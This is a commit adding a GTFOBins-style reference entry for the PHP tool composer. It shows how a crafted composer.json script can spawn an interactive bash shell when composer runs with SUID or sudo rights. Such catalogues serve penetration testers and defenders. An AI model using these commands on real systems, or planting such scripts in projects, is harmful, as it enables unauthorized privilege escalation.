Add entry for composer

This commit is contained in:
clubby789 2020-11-08 02:28:45 +00:00 committed by Andrea Cardaci
parent 3409aa0949
commit deaf47943f

23
_gtfobins/composer.md Normal file
View File

@ -0,0 +1,23 @@
---
functions:
suid:
- code: |
cat << EOF > composer.json
{
"scripts": {
"command": "python3 -c 'import pty;pty.spawn(\"bash\")'"
}
}
EOF
./composer run-script command
sudo:
- code: |
cat << EOF > composer.json
{
"scripts": {
"command": "python3 -c 'import pty;pty.spawn(\"bash\")'"
}
}
EOF
composer run-script command
---